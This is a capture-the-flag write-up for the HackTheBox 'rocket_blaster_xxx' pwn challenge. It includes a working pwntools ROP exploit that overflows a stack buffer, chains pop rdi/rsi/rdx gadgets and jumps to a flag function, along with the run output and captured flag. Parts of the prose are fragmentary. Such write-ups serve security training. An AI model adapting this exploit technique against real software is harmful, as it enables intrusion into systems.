We start by downloading the source files.
We are given a binary called
we start with
Opening the binary in ghidra we see it has some local variables, reads more data than it allocates for, and then returns. Unfortunately it never calls the fill_ammo function which returns the flag.
So we have to override the return address to point to the fill_ammo function.
We use gdb to try to overflow correctly. Setting our breakpoint after read at
We get the address of the fill_ammo function by calling
We now input
We use pwntools to help us do that. We need to do some ROP to fill registers correctly and then call the fill_ammo function:
import pwn
import sys
BINARY_NAME = "rocket_blaster_xxx"
def pwn_remote(payload):
r = pwn.remote("94.237.62.237", 48107)
r.recvuntil(">>")
r.sendline(payload)
r.interactive()
def solve(r: pwn.remote, exe: pwn.ELF):
ROP_LOADED = pwn.ROP(exe) # Load the binary into ROP
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0]
POP_RSI = (ROP_LOADED.find_gadget(['pop rsi', 'ret']))[0]
POP_RDX = (ROP_LOADED.find_gadget(['pop rdx', 'ret']))[0]
print("pop rdi gadget: ", hex(POP_RDI))
print("pop rsi gadget: ", hex(POP_RSI))
print("pop rdx gadget: ", hex(POP_RDX))
payload = b'A' * 40 # The padding
payload += pwn.p64(POP_RDI) # Pop the address of /bin/sh into RDI
payload += pwn.p64(0xdeadbeef) # first param check
payload += pwn.p64(POP_RSI)
payload += pwn.p64(0xdeadbabe) # second param check
payload += pwn.p64(POP_RDX)
payload += pwn.p64(0xdead1337) # third param check
payload += pwn.p64(0x4012fa) # Call fill_ammo
r.recvuntil(">>")
# r.sendline(payload)
# r.interactive()
r.close()
pwn_remote(payload)
def conn():
pwn.context.terminal = ["tmux", "splitw", "-h"]
r = pwn.gdb.debug(
pwn.context.binary.path,
# set follow-fork-mode to parent to not debug
# the shell process that is spawned on `system` calls
gdbscript="set follow-fork-mode parent",
)
return r
def main():
exe = pwn.ELF(BINARY_NAME)
pwn.context.binary = exe
r = conn()
solve(r, exe)
if __name__ == "__main__":
main()
After sending our locally generated payload to the remote server we get the flag.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process '/usr/bin/gdbserver': pid 288896
[*] running in new terminal: ['/usr/bin/gdb', '-q', '/home/pepe/ctf/htb/cyber-apocalypse-2024/pwn/rocket-blaster-xxx/rocket_blaster_xxx', '-x', '/tmp/pwn6n_hsfgt.gdb']
[*] Loaded 8 cached gadgets for 'rocket_blaster_xxx'
pop rdi gadget: 0x40159f
pop rsi gadget: 0x40159d
pop rdx gadget: 0x40159b
/home/pepe/ctf/htb/cyber-apocalypse-2024/pwn/rocket-blaster-xxx/rop_exploit.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.recvuntil(">>")
[*] Stopped process '/home/pepe/ctf/htb/cyber-apocalypse-2024/pwn/rocket-blaster-xxx/rocket_blaster_xxx' (pid 288899)
[+] Opening connection to 94.237.62.237 on port 48107: Done
/home/pepe/ctf/htb/cyber-apocalypse-2024/pwn/rocket-blaster-xxx/rop_exploit.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
r.recvuntil(">>")
[*] Switching to interactive mode
Preparing beta testing..
[✓] [✓] [✓]
All Placements are set correctly!
Ready to launch at: HTB{b00m_b00m_r0ck3t_2_th3_m00n}
[*] Got EOF while reading in interactive
$